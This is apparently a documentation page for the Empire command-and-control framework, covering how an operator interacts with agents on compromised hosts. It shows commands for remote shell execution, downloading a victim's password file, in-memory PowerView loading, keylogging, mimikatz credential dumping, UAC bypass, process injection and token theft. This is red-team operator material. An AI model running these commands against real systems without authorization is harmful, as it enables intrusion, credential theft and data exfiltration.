4. Agent Interaction

Listing and Selecting Agents

# Enter the agents context
(Empire) > agents

# List all agents
(Empire: agents) > list

tip

An asterisk * at the end of an agent's Name signifies that the agent is running with elevated privileges (local admin)
Agents in green have recently checked in; agents in red are inactive or dead

# Interact with a specific agent
(Empire: agents) > interact <AGENT_NAME>

Shell Commands

Execute any shell command on the agent. Commands are queued as tasks and results are returned on the next beacon.

(Empire: <AGENT_NAME>) > shell '<COMMAND>'

# Examples
(Empire: <AGENT_NAME>) > shell 'whoami /all'
(Empire: <AGENT_NAME>) > shell 'ipconfig /all'
(Empire: <AGENT_NAME>) > shell 'net user /domain'
(Empire: <AGENT_NAME>) > shell 'Get-Process'

note

Shell commands are PowerShell by default. Wrap in cmd /c to execute CMD syntax:

(Empire: <AGENT_NAME>) > shell 'cmd /c net localgroup administrators'

Viewing task results

Task results may not return immediately - the agent retrieves and returns them on the next beacon. Use view or history to check results.

# View the result of a specific task by ID
(Empire: <AGENT_NAME>) > view <TASK_ID>

# View the last N task results
(Empire: <AGENT_NAME>) > history 10

File Operations

Download a file from the agent to the Empire server

(Empire: <AGENT_NAME>) > download <REMOTE_FILE_PATH>

# Example
(Empire: <AGENT_NAME>) > download C:\Users\victim\Documents\passwords.xlsx

Downloaded files are saved to the Empire server's downloads/ directory under the agent's name.

Upload a file from the Empire server to the agent

(Empire: <AGENT_NAME>) > upload <LOCAL_FILE_PATH> [<REMOTE_DESTINATION>]

# Example - uploads to the agent's current working directory
(Empire: <AGENT_NAME>) > upload /tmp/tool.exe

# Example - upload to a specific path
(Empire: <AGENT_NAME>) > upload /tmp/tool.exe C:\Windows\Temp\tool.exe

Script Import

Load a PowerShell script into the agent's memory and call its functions without touching disk.

# Import a PS1 script from the Empire server
(Empire: <AGENT_NAME>) > script_import /tmp/PowerView.ps1

# Call a function from the imported script
(Empire: <AGENT_NAME>) > script_command Get-DomainUser -Properties samaccountname,memberof

tip

script_import keeps the script in memory only on the agent - nothing is written to disk. This is the preferred way to run tools like PowerView, PowerUp, or any custom PS script without dropping files.

Agent Info and Properties

# Display full agent properties (OS, hostname, username, PID, checkin time, etc.)
(Empire: <AGENT_NAME>) > info

# Display a specific property
(Empire: <AGENT_NAME>) > display <PROPERTY_NAME>

# Example
(Empire: <AGENT_NAME>) > display hostname

Quick-Reference Commands

Command	Description
`shell '<CMD>'`	Execute a shell command
`whoami`	Shortcut for `shell 'whoami'`
`ps`	Shortcut for `shell 'ps'` (process list)
`sc`	Run screenshot module
`keylog`	Start keylogger module
`mimikatz`	Run `credentials/mimikatz/logonpasswords`
`sherlock`	Run `privesc/sherlock` (local privesc check)
`bypassuac <LISTENER>`	UAC bypass via eventvwr
`psinject <LISTENER> <PID>`	Inject agent into target process
`spawn <LISTENER>`	Spawn a new agent under the current agent
`steal_token <PID>`	Steal token from a process
`revtoself`	Revert impersonation to original token
`download <PATH>`	Download file from agent
`upload <LOCAL> [REMOTE]`	Upload file to agent
`history [N]`	View last N task results
`view <TASK_ID>`	View result of specific task
`info`	Show agent properties

agents Help

(Empire: agents) > help

┌Help Options────────────────────────────────┬─────────────────────┐
│ Name   │ Description                       │ Usage               │
├────────┼───────────────────────────────────┼─────────────────────┤
│ clear  │ Clear tasks for selected listener │ clear <agent_name>  │
├────────┼───────────────────────────────────┼─────────────────────┤
│ help   │ Display the help menu for the     │ help                │
│        │ current menu                      │                     │
├────────┼───────────────────────────────────┼─────────────────────┤
│ kill   │ Kills and removes specified agent │ kill <agent_name>   │
│        │ [agent_name, stale, or all].      │                     │
├────────┼───────────────────────────────────┼─────────────────────┤
│ list   │ Get running/available agents      │ list                │
├────────┼───────────────────────────────────┼─────────────────────┤
│ rename │ Rename selected listener          │ rename <agent_name> │
│        │                                   │ <new_agent_name>    │
└────────┴───────────────────────────────────┴─────────────────────┘

agent interaction Help

(Empire: <AGENT_NAME>) > help

┌Help Options────┬─────────────────────────────────────┬─────────────────────────────────┐
│ Name           │ Description                         │ Usage                           │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ display        │ Display an agent property           │ display <property_name>         │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ download       │ Tasks the agent to download a file  │ download <file_name>            │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ help           │ Display the help menu               │ help                            │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ history        │ Display last N task results         │ history [<number_tasks>]        │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ info           │ Display agent info                  │ info                            │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ killdate       │ Set an agent's killdate             │ killdate <kill_date>            │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ script_command │ Execute a function in the imported  │ script_command <script_cmd>     │
│                │ PowerShell script                   │                                 │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ script_import  │ Import a PS script into agent memory│ script_import <script_location> │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ shell          │ Execute a shell command             │ shell <shell_cmd>               │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ sleep          │ Update delay (s) and jitter (0-1.0) │ sleep <delay> <jitter>          │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ update_comms   │ Update the listener for an agent    │ update_comms <listener_name>    │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ upload         │ Upload a file to the agent          │ upload <local_file_directory>   │
│                │                                     │ [destination_file_name]         │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ view           │ View specific task and result       │ view <task_id>                  │
├────────────────┼─────────────────────────────────────┼─────────────────────────────────┤
│ workinghours   │ Set an agent's working hours        │ workinghours <working_hours>    │
└────────────────┴─────────────────────────────────────┴─────────────────────────────────┘

Listing and Selecting Agents​

Shell Commands​

Viewing task results​

File Operations​

Download a file from the agent to the Empire server​

Upload a file from the Empire server to the agent​

Script Import​

Agent Info and Properties​

Quick-Reference Commands​

Help Menu​